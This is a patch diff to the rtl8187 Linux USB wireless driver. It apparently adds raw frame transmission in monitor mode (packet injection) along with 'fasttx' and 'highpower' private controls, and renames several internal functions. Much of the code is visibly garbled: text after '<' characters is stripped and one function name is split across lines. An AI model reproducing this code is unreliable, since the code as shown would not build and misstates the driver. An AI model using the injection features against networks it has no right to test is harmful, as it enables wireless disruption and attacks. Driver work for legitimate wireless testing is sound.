r8180_wx_get_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_encode(priv->ieee80211, info, wrqu, key); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_encode_rtl7(priv->ieee80211, info, wrqu, key); } -static int r8180_wx_set_enc(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + DMESG("Setting SW wep key"); - ret = ieee80211_wx_set_encode(priv->ieee80211,info,wrqu,key); - + ret = ieee80211_wx_set_encode_rtl7(priv->ieee80211,info,wrqu,key); + up(&priv->wx_sem); return ret; } @@ -447,28 +568,28 @@ static int r8180_wx_set_scan_type(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *p){ - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms=(int*)p; int mode=parms[0]; - + priv->ieee80211->active_scan = mode; - + return 1; } -static int r8180_wx_set_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int err = 0; - + down(&priv->wx_sem); - - if (wrqu->retry.flags & IW_RETRY_LIFETIME || + + if (wrqu->retry.flags & IW_RETRY_LIFETIME || wrqu->retry.disabled){ err = -EINVAL; goto exit; @@ -485,13 +606,13 @@ if (wrqu->retry.flags & IW_RETRY_MAX) { priv->retry_rts = wrqu->retry.value; DMESG("Setting retry for RTS/CTS data to %d", wrqu->retry.value); - + }else { priv->retry_data = wrqu->retry.value; DMESG("Setting retry for non RTS/CTS data to %d", wrqu->retry.value); } - - /* FIXME ! + + /* FIXME ! * We might try to write directly the TX config register * or to restart just the (R)TX process. * I'm unsure if whole reset is really needed @@ -503,28 +624,28 @@ rtl8180_rtx_disable(dev); rtl8180_rx_enable(dev); rtl8180_tx_enable(dev); - + } */ exit: up(&priv->wx_sem); - + return err; } -static int r8180_wx_get_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + wrqu->retry.disabled = 0; /* can't be disabled */ - if ((wrqu->retry.flags & IW_RETRY_TYPE) == - IW_RETRY_LIFETIME) + if ((wrqu->retry.flags & IW_RETRY_TYPE) == + IW_RETRY_LIFETIME) return -EINVAL; - + if (wrqu->retry.flags & IW_RETRY_MAX) { wrqu->retry.flags = IW_RETRY_LIMIT & IW_RETRY_MAX; wrqu->retry.value = priv->retry_rts; @@ -533,30 +654,30 @@ wrqu->retry.value = priv->retry_data; } //DMESG("returning %d",wrqu->retry.value); - + return 0; } -static int r8180_wx_get_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - if(priv->rf_set_sens == NULL) + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(priv->rf_set_sens == NULL) return -1; /* we have not this support for this radio */ wrqu->sens.value = priv->sens; return 0; } -static int r8180_wx_set_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - - struct r8180_priv *priv = ieee80211_priv(dev); - + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + short err = 0; down(&priv->wx_sem); //DMESG("attempt to set sensivity to %ddb",wrqu->sens.value); @@ -571,7 +692,7 @@ exit: up(&priv->wx_sem); - + return err; } @@ -623,50 +744,55 @@ dummy, /* SIOCGIWRTS */ r8180_wx_set_frag, /* SIOCSIWFRAG */ r8180_wx_get_frag, /* SIOCGIWFRAG */ - dummy, /* SIOCSIWTXPOW */ - dummy, /* SIOCGIWTXPOW */ + r8180_wx_set_txpow, /* SIOCSIWTXPOW */ + r8180_wx_get_txpow, /* SIOCGIWTXPOW */ r8180_wx_set_retry, /* SIOCSIWRETRY */ r8180_wx_get_retry, /* SIOCGIWRETRY */ r8180_wx_set_enc, /* SIOCSIWENCODE */ r8180_wx_get_enc, /* SIOCGIWENCODE */ dummy, /* SIOCSIWPOWER */ dummy, /* SIOCGIWPOWER */ -}; +}; -static const struct iw_priv_args r8180_private_args[] = { - +static const struct iw_priv_args r8180_private_args[] = { { - SIOCIWFIRSTPRIV + 0x0, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" - }, - + SIOCIWFIRSTPRIV + 0x0, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "fasttx" + }, + { SIOCIWFIRSTPRIV + 0x1, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "activescan" - + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "highpower" }, + { - SIOCIWFIRSTPRIV + 0x2, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "rawtx" + SIOCIWFIRSTPRIV + 0x2, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" + }, + + { + SIOCIWFIRSTPRIV + 0x3, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "activescan" + } }; static iw_handler r8180_private_handler[] = { -// r8180_wx_set_monitor, /* SIOCIWFIRSTPRIV */ + r8180_wx_set_fasttx, /* SIOCIWFIRSTPRIV */ + r8180_wx_set_highpower, /*SIOCIWSECONDPRIV*/ r8180_wx_set_crcmon, /*SIOCIWSECONDPRIV*/ // r8180_wx_set_forceassociate, // r8180_wx_set_beaconinterval, // r8180_wx_set_monitor_type, r8180_wx_set_scan_type, - r8180_wx_set_rawtx, }; -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } @@ -679,8 +805,8 @@ .private = r8180_private_handler, .num_private = sizeof(r8180_private_handler) / sizeof(iw_handler), .num_private_args = sizeof(r8180_private_args) / sizeof(struct iw_priv_args), -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 .get_wireless_stats = r8180_get_wireless_stats, #endif - .private_args = (struct iw_priv_args *)r8180_private_args, + .private_args = (struct iw_priv_args *)r8180_private_args, }; diff -Naur rtl8187_linux_26.1010.0622.2006_orig/beta-8187/r8187_core.c rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187_core.c --- rtl8187_linux_26.1010.0622.2006_orig/beta-8187/r8187_core.c 2006-06-22 01:43:30.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187_core.c 2008-08-12 13:11:32.000000000 -0400 @@ -1,27 +1,27 @@ /* This is part of rtl8187 OpenSource driver - v 0.1 - Copyright (C) Andrea Merello 2005 + Copyright (C) Andrea Merello 2005 Released under the terms of GPL (General Public License) - - - Parts of this driver are based on the rtl8180 driver skeleton + + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2*00 GPL drivers. - + some ideas might be derived from David Young rtl8180 netbsd driver. - + Parts of the usb code are from the r8150.c driver in linux kernel - + Some ideas borrowed from the 8139too.c driver included in linux kernel. - - We (I?) want to thanks the Authors of those projecs and also the + + We (I?) want to thanks the Authors of those projecs and also the Ndiswrapper's project Authors. - - A special big thanks goes also to Realtek corp. for their help in my - attempt to add RTL8187 and RTL8225 support, and to David Young also. - - Please note that this file is a modified version from rtl8180-sa2400 + A special big thanks goes also to Realtek corp. for their help in my + attempt to add RTL8187 and RTL8225 support, and to David Young also. + + - Please note that this file is a modified version from rtl8180-sa2400 drv. So some other people have contributed to this project, and they are thanked in the rtl8180-sa2400 CHANGELOG. */ @@ -57,6 +57,7 @@ #undef DEBUG_IRQ_TASKLET #undef DEBUG_TX_ALLOC #undef DEBUG_TX_DESC +#undef DEBUG_TX_POWER //#define CONFIG_RTL8180_IO_MAP @@ -66,6 +67,9 @@ #include "r8180_93cx6.h" /* Card EEPROM */ #include "r8180_wx.h" +#if !(defined(CONFIG_USB_EHCI_HCD) || defined (CONFIG_USB_EHCI_HCD_MODULE)) + #error Build your kernel with ehci_hcd support! +#endif // FIXME: check if 2.6.7 is ok #if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,7)) @@ -98,6 +102,10 @@ #endif static int channels = 0x3fff; +// #define DEBUG_EPROM +// #define DEBUG_REGISTERS +// #define DEBUG_TX_POWER + MODULE_LICENSE("GPL"); MODULE_VERSION("V 1.1"); MODULE_DEVICE_TABLE(usb, rtl8187_usb_id_tbl); @@ -137,7 +145,7 @@ static int __devinit rtl8187_usb_probe(struct usb_interface *intf, const struct usb_device_id *id); - + static void __devexit rtl8187_usb_disconnect(struct usb_interface *intf); static struct usb_driver rtl8187_usb_driver = { @@ -158,13 +166,12 @@ #endif }; - void write_nic_byte_E(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xfe00, 0, &data, 1, HZ / 2); @@ -173,10 +180,10 @@ void write_nic_byte(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 1, HZ / 2); @@ -185,10 +192,10 @@ void write_nic_word(struct net_device *dev, int indx, u16 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 2, HZ / 2); @@ -197,23 +204,23 @@ void write_nic_dword(struct net_device *dev, int indx, u32 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 4, HZ / 2); } - - - + + + u8 read_nic_byte(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 1, HZ / 2); @@ -223,22 +230,22 @@ u8 read_nic_byte_E(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xfe00, 0, &data, 1, HZ / 2); return data; } - + u16 read_nic_word(struct net_device *dev, int indx) { u16 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 2, HZ / 2); @@ -249,16 +256,16 @@ u32 read_nic_dword(struct net_device *dev, int indx) { u32 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 4, HZ / 2); return data; } -/* this might still called in what was the PHY rtl8185/rtl8187 common code +/* this might still called in what was the PHY rtl8185/rtl8187 common code * plans are to possibilty turn it again in one common code... */ inline void force_pci_posting(struct net_device *dev) @@ -271,7 +278,12 @@ //void set_nic_txring(struct net_device *dev); static struct net_device_stats *rtl8180_stats(struct net_device *dev); void rtl8180_commit(struct net_device *dev); + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work); +#else void rtl8180_restart(struct net_device *dev); +#endif /**************************************************************************** -----------------------------PROCFS STUFF------------------------- @@ -284,13 +296,13 @@ int *eof, void *data) { struct net_device *dev = data; -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; int i,n; - + int max=0xff; - + /* This dump the current register page */ for(n=0;n<=max;) { @@ -307,7 +319,7 @@ len += snprintf(page + len, count - len,"\n"); - + *eof = 1; return len; @@ -319,16 +331,16 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "NIC int: %lu\n" "Total int: %lu\n", priv->stats.ints, priv->stats.shints); - + *eof = 1; return len; } @@ -339,10 +351,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "TX normal priority ok int: %lu\n" "TX normal priority error int: %lu\n" @@ -359,7 +371,7 @@ "TX HW queue: %d\n" "TX lp dropped: %lu\n" "TX np dropped: %lu\n" - "TX total data packets %lu\n", + "TX total data packets %lu\n", // "TX beacon aborted: %lu\n", priv->stats.txnpokint, priv->stats.txnperr, @@ -379,10 +391,10 @@ priv->stats.txdatapkt // priv->stats.txbeaconerr ); - + *eof = 1; return len; -} +} @@ -391,10 +403,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "RX packets: %lu\n" "RX urb status error: %lu\n" @@ -402,35 +414,44 @@ priv->stats.rxok, priv->stats.rxstaterr, priv->stats.rxurberr); - + *eof = 1; return len; -} - +} +#if WIRELESS_EXT < 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } +#endif void rtl8180_proc_module_init(void) -{ +{ DMESG("Initializing proc filesystem"); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) rtl8180_proc=create_proc_entry(RTL8187_MODULE_NAME, S_IFDIR, proc_net); +#else + rtl8180_proc=create_proc_entry(RTL8187_MODULE_NAME, S_IFDIR, init_net.proc_net); +#endif } void rtl8180_proc_module_remove(void) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) remove_proc_entry(RTL8187_MODULE_NAME, proc_net); +#else + remove_proc_entry(RTL8187_MODULE_NAME, init_net.proc_net); +#endif } void rtl8180_proc_remove_one(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); if (priv->dir_dev) { // remove_proc_entry("stats-hw", priv->dir_dev); remove_proc_entry("stats-tx", priv->dir_dev); @@ -447,9 +468,9 @@ void rtl8180_proc_init_one(struct net_device *dev) { struct proc_dir_entry *e; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dir_dev = create_proc_entry(dev->name, - S_IFDIR | S_IRUGO | S_IXUGO, + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->dir_dev = create_proc_entry(dev->name, + S_IFDIR | S_IRUGO | S_IXUGO, rtl8180_proc); if (!priv->dir_dev) { DMESGE("Unable to initialize /proc/net/rtl8187/%s\n", @@ -459,7 +480,7 @@ #if 0 e = create_proc_read_entry("stats-hw", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_hw, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-hw\n", @@ -468,17 +489,17 @@ #endif e = create_proc_read_entry("stats-rx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_rx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-rx\n", dev->name); } - - + + e = create_proc_read_entry("stats-tx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_tx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-tx\n", @@ -487,27 +508,27 @@ #if 0 e = create_proc_read_entry("stats-ieee", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ieee, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ieee\n", dev->name); } - - + + e = create_proc_read_entry("stats-ap", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ap, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ap\n", dev->name); } #endif - + e = create_proc_read_entry("registers", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_registers, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/registers\n", @@ -523,14 +544,14 @@ { int i; u8 *buf =(u8*)buffer; - + printk("ASCII BUFFER DUMP (len: %x):\n",len); - + for(i=0;itx_np_pending : &priv->tx_lp_pending); - + return (used < MAX_TX_URB); } void tx_timeout(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //rtl8180_commit(dev); schedule_work(&priv->reset_wq); //DMESG("TXTIMEOUT"); @@ -561,7 +582,20 @@ { int i; for(i=0; i<63; i++) - DMESG("EEPROM addr %x : %x", i, eprom_read(dev,i)); + DMESG("EEPROM addr %02X : %04X", i, eprom_read(dev,i)); +} + +/* this is only for debug */ +void dump_tx_power(struct net_device *dev) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i; + DMESG("CCK TX-Power (b-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr[i]); + DMESG("OFDM TX-Power (g-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr_ofdm[i]); } /* this is only for debug */ @@ -570,14 +604,14 @@ int i; int n; int max=0xff; - - DMESG("Dumping NIC register map"); - + + DMESG("Dumping NIC register map"); + for(n=0;n<=max;) { - printk( "\nD: %2x> ", n); + printk( "\nD: %02X> ", n); for(i=0;i<16 && n<=max;i++,n++) - printk("%2x ",read_nic_byte(dev,n)); + printk("%02X ",read_nic_byte(dev,n)); } printk("\n"); } @@ -589,11 +623,11 @@ void rtl8180_irq_enable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); //priv->irq_enabled = 1; /* - write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ - INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ + write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ + INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ INTA_NORMPRIORITYDESCERR | INTA_NORMPRIORITYDESCOK |\ INTA_LOWPRIORITYDESCERR | INTA_LOWPRIORITYDESCOK | INTA_TIMEOUT); */ @@ -603,7 +637,7 @@ void rtl8180_irq_disable(struct net_device *dev) { -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); write_nic_word(dev,INTA_MASK,0); force_pci_posting(dev); @@ -625,115 +659,119 @@ void rtl8180_update_msr(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u8 msr; - + msr = read_nic_byte(dev, MSR); msr &= ~ MSR_LINK_MASK; - + /* do not change in link_state != WLAN_LINK_ASSOCIATED. - * msr must be updated if the state is ASSOCIATING. + * msr must be updated if the state is ASSOCIATING. * this is intentional and make sense for ad-hoc and * master (see the create BSS/IBSS func) */ - if (priv->ieee80211->state == IEEE80211_LINKED){ - + if (priv->ieee80211->state == IEEE80211_LINKED){ + if (priv->ieee80211->iw_mode == IW_MODE_INFRA) msr |= (MSR_LINK_MANAGED<ieee80211->iw_mode == IW_MODE_ADHOC) msr |= (MSR_LINK_ADHOC<ieee80211->iw_mode == IW_MODE_MASTER) msr |= (MSR_LINK_MASTER<chan=ch; #if 0 - if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || + if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || priv->ieee80211->iw_mode == IW_MODE_MASTER){ - - priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; + + priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; priv->ieee80211->master_chan = ch; - rtl8180_update_beacon_ch(dev); + rtl8180_update_beacon_ch(dev); } #endif - + /* this hack should avoid frame TX during channel setting*/ tx = read_nic_dword(dev,TX_CONF); tx &= ~TX_LOOPBACK_MASK; -#ifndef LOOP_TEST +#ifndef LOOP_TEST write_nic_dword(dev,TX_CONF, tx |( TX_LOOPBACK_MAC<rf_set_chan(dev,priv->chan); mdelay(10); - write_nic_dword(dev,TX_CONF,tx | (TX_LOOPBACK_NONE<udev, usb_rcvbulkpipe(priv->udev,0x81), rx_urb->transfer_buffer, RX_URB_SIZE,rtl8187_rx_isr,dev); - err = usb_submit_urb(rx_urb, GFP_ATOMIC); + err = usb_submit_urb(rx_urb, GFP_ATOMIC); if(err && err != -EPERM){ DMESGE("cannot submit RX command. URB_STATUS %x",rx_urb->status); - + } - + } void rtl8187_rx_initiate(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + if(!priv->rx_urb) DMESGE("Cannot intiate RX urb mechanism"); - for(i=0;irx_urb[i]); - + } void rtl8187_set_rxconf(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u32 rxconf; - + rxconf=read_nic_dword(dev,RX_CONF); rxconf = rxconf &~ MAC_FILTER_MASK; rxconf = rxconf | (1<flags & IFF_PROMISC) DMESG ("NIC in promisc mode"); - + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR || \ dev->flags & IFF_PROMISC){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MASTER){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MONITOR){ rxconf = rxconf | (1<crcmon == 1 && priv->ieee80211->iw_mode == IW_MODE_MONITOR) rxconf = rxconf | (1<card_8185){ - + txconf = txconf &~ (1<ieee80211->hw_seq) + + if(priv->ieee80211->hw_seq) txconf= txconf &~ (1<retry_data<retry_rts<ieee80211->iw_mode != IW_MODE_MONITOR) + { + txconf = txconf | (priv->retry_data<retry_rts<dma_poll_mask &=~(1<dma_poll_mask); + write_nic_byte(dev,TX_DMA_POLLING,priv->dma_poll_mask); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); } void rtl8180_ -_disable(struct net_device *dev) +_disable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask |= (1<dma_poll_mask); @@ -914,8 +955,8 @@ { u8 cmd; int i; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + cmd=read_nic_byte(dev,CMD); write_nic_byte(dev, CMD, cmd &~ \ ((1<rx_urb[i]); } /*while (read_nic_byte(dev,CMD) & (1<rx_skb_complete) // dev_kfree_skb_any(priv->rx_skb); } @@ -939,14 +980,14 @@ #if 0 int i; u32 *tmp; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->txbeaconring = (u32*)pci_alloc_consistent(priv->pdev, - sizeof(u32)*8*count, + sizeof(u32)*8*count, &priv->txbeaconringdma); if (!priv->txbeaconring) return -1; for (tmp=priv->txbeaconring,i=0;itxbeaconringdma+((i+1)*8*4); else *(tmp+4) = (u32)priv->txbeaconringdma; - + tmp=tmp+8; } #endif @@ -965,15 +1006,15 @@ void rtl8180_reset(struct net_device *dev) { - + u8 cr; - + /* make sure the analog power is on before * reset, otherwise reset may fail */ rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8180_irq_disable(dev); mdelay(200); @@ -981,19 +1022,19 @@ write_nic_byte_E(dev,0x18,0x11); write_nic_byte_E(dev,0x18,0x00); mdelay(200); - + cr=read_nic_byte(dev,CMD); cr = cr & 2; cr = cr | (1<11) return 0; - return rtl_rate[rate]; + return rtl_rate[rate]; +} + +inline u8 rtl8180_IsWirelessBMode(u16 rate) +{ + if( ((rate <= 110) && (rate != 60) && (rate != 90)) || (rate == 220) ) + return 1; + else return 0; } - +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_rx_isr(struct urb *rx_urb, struct pt_regs *regs) +#else +void rtl8187_rx_isr(struct urb *rx_urb) +#endif { struct net_device *dev = (struct net_device*)rx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->rxurb_task = rx_urb; // DMESGW("David: Rx tasklet start!"); - tasklet_schedule(&priv->irq_rx_tasklet); + tasklet_schedule(&priv->irq_rx_tasklet); // DMESGW("=David: Rx tasklet finish!"); } #if 0 void rtl8180_tx_queues_stop(struct net_device *dev) { - //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u8 dma_poll_mask = (1<dma_poll_mask |= (1<dma_poll_mask); @@ -1091,7 +1142,7 @@ { // FIXME !! #if 0 - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask &= ~(1<dma_poll_mask); @@ -1105,14 +1156,19 @@ */ void rtl8180_hard_data_xmit(struct sk_buff *skb, struct net_device *dev, int rate) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - short morefrag = 0; + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + + short morefrag = 0; unsigned long flags; struct ieee80211_hdr *h = (struct ieee80211_hdr *) skb->data; - if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) - morefrag = 1; + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->ieee80211->raw_tx != 1) + { + if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) + { + morefrag = 1; + } + } // DMESG("%x %x", h->frame_ctl, h->seq_ctl); /* * This function doesn't require lock because we make @@ -1121,24 +1177,29 @@ * the ieee stack, or from the try_wake_queue (again trought * the ieee stack. */ - spin_lock_irqsave(&priv->tx_lock,flags); - - //DMESG("TX"); - if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ - DMESG("Error: no TX slot "); - ieee80211_stop_queue(priv->ieee80211); - } - - rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, - ieeerate2rtlrate(rate)); - - priv->stats.txdatapkt++; - - if (!check_nic_enought_desc(dev, LOW_PRIORITY)) - ieee80211_stop_queue(priv->ieee80211); - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->fasttx == 0) + { + spin_lock_irqsave(&priv->tx_lock,flags); + //DMESG("TX"); + if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ + DMESG("Error: 